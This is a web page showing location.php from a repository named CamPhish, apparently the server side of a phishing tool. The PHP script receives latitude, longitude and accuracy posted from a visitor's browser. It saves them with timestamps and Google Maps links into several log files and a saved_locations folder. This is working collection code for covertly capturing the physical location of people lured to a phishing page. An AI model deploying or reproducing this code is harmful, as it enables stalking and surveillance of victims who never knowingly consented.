Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
techchipnet
GitHub Repository: techchipnet/CamPhish
Path: blob/master/location.php
1972 views
1
<?php
2
$date = date('dMYHis');
3
$latitude = isset($_POST['lat']) ? $_POST['lat'] : 'Unknown';
4
$longitude = isset($_POST['lon']) ? $_POST['lon'] : 'Unknown';
5
$accuracy = isset($_POST['acc']) ? $_POST['acc'] : 'Unknown';
6
7
if (!empty($_POST['lat']) && !empty($_POST['lon'])) {
8
// Create a marker file with minimal information
9
file_put_contents("LocationLog.log", "Location captured\n", FILE_APPEND);
10
11
$data = "Latitude: " . $latitude . "\r\n" .
12
"Longitude: " . $longitude . "\r\n" .
13
"Accuracy: " . $accuracy . " meters\r\n" .
14
"Google Maps: https://www.google.com/maps/place/" . $latitude . "," . $longitude . "\r\n" .
15
"Date: " . $date . "\r\n";
16
17
// Create a unique filename with timestamp
18
$file = 'location_' . $date . '.txt';
19
20
try {
21
$fp = fopen($file, 'w');
22
if ($fp) {
23
fwrite($fp, $data);
24
fclose($fp);
25
$console_log = fopen("current_location.txt", "w");
26
fwrite($console_log, $data);
27
fclose($console_log);
28
29
// Append to a master location file
30
$masterFile = 'saved.locations.txt';
31
32
// Create the master file if it doesn't exist
33
if (!file_exists($masterFile)) {
34
touch($masterFile);
35
chmod($masterFile, 0666);
36
}
37
38
$fp = fopen($masterFile, 'a');
39
if ($fp) {
40
fwrite($fp, "\n=== New Location Captured ===\n" . $data . "\n");
41
fclose($fp);
42
}
43
44
// Create saved_locations directory if it doesn't exist
45
if (!is_dir('saved_locations')) {
46
mkdir('saved_locations', 0755, true);
47
}
48
49
// Copy the location file to the saved_locations directory
50
copy($file, 'saved_locations/' . $file);
51
52
// Return success response
53
header('Content-Type: application/json');
54
echo json_encode(['status' => 'success', 'message' => 'Location data received']);
55
} else {
56
throw new Exception("Could not open file for writing");
57
}
58
} catch (Exception $e) {
59
header('Content-Type: application/json');
60
echo json_encode(['status' => 'error', 'message' => 'Could not save location data']);
61
}
62
} else {
63
header('Content-Type: application/json');
64
echo json_encode(['status' => 'error', 'message' => 'Location data missing or incomplete']);
65
}
66
67
exit();
68
?>
69